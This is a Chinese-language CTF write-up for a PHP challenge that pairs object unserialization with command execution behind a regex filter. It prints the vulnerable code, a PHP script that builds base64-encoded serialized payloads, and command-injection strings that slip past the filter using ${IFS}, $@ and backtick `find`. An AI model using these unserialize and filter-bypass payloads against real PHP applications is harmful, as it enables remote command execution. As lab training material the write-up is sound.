开始
进入题目链接后看见如图代码,我们直接抓住关键点,不要浪费精力。大概看一下具体关键内容,第一个大框框属于命令执行,第二个大框框属于正则过滤危险字符,第三个大框框属于反序列化提交的内容,并且进行base64的解码
解题
那么目标也很清楚了,我们可以通过命令执行获取flag且绕过PHP正则匹配,最后将序列化的payload并进行base64编码,最后利用post请求进行发送即可
序列化
in_array, 检查数组中是否存在某个值,如果method的变量为"ping",那么将执行下一行call_user_func_array()—调用回调函数(把一个数组参数作为回调函数的参数,第二个数组为被传入的索引数组),也就是说method为ping时,那么它的索引数组就是args变量,同时传入args变量也必须是数组才能执行语句
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
payload生成代码如下
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('id'));//序列化的具体成员变量
echo serialize($a)."<br>";
echo base64_encode(serialize($a));
?>
提交payload进行验证,发现能执行当前命令
正则绕过
因为源代码绕过了斜杠和空格等关键字导致了不能直接获取flag信息,为了方便执行后续命令执行获得flag,我考虑的方案是空格绕过法,空变量绕过来绕过PHP正则的匹配
${IFS} 空格绕过
$@ 空变量
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
接下来请按我说的做
将payload生成代码的id替换为要执行的命令,例如查看一下当前目录的详细信息
$a = new ease("ping",array('l$@s'));//修改payload生成代码的这一行即可
发现flag_1s_here目录下有flag
做到这里通常会卡住,获取flag必须要用斜杠"/"查看目录下的文件,思考一下有什么可以代替斜杆,然后获取flag。搜索了资料发现有些命令是可以查看目录下的文件,我们可以利用这个特性然后配合cat命令进行查看
find 查看当前及子目录下的所有文件
直接配合内联执行引用find命令特性,然后使用cat查看find列出的文件即可,因为flag就在当前目录
$a = new ease("ping",array('ca$@t${IFS}`find`'));//修改payload生成代码的这一行即可
再次提交payload,查看源代码可以看见flag
结尾
看到网上和官方的wp解法都有点麻烦,要八进制编码等等,仔细思考方法其实不止一种,多动脑多查资料才有自己的解题思路
发表评论 取消回复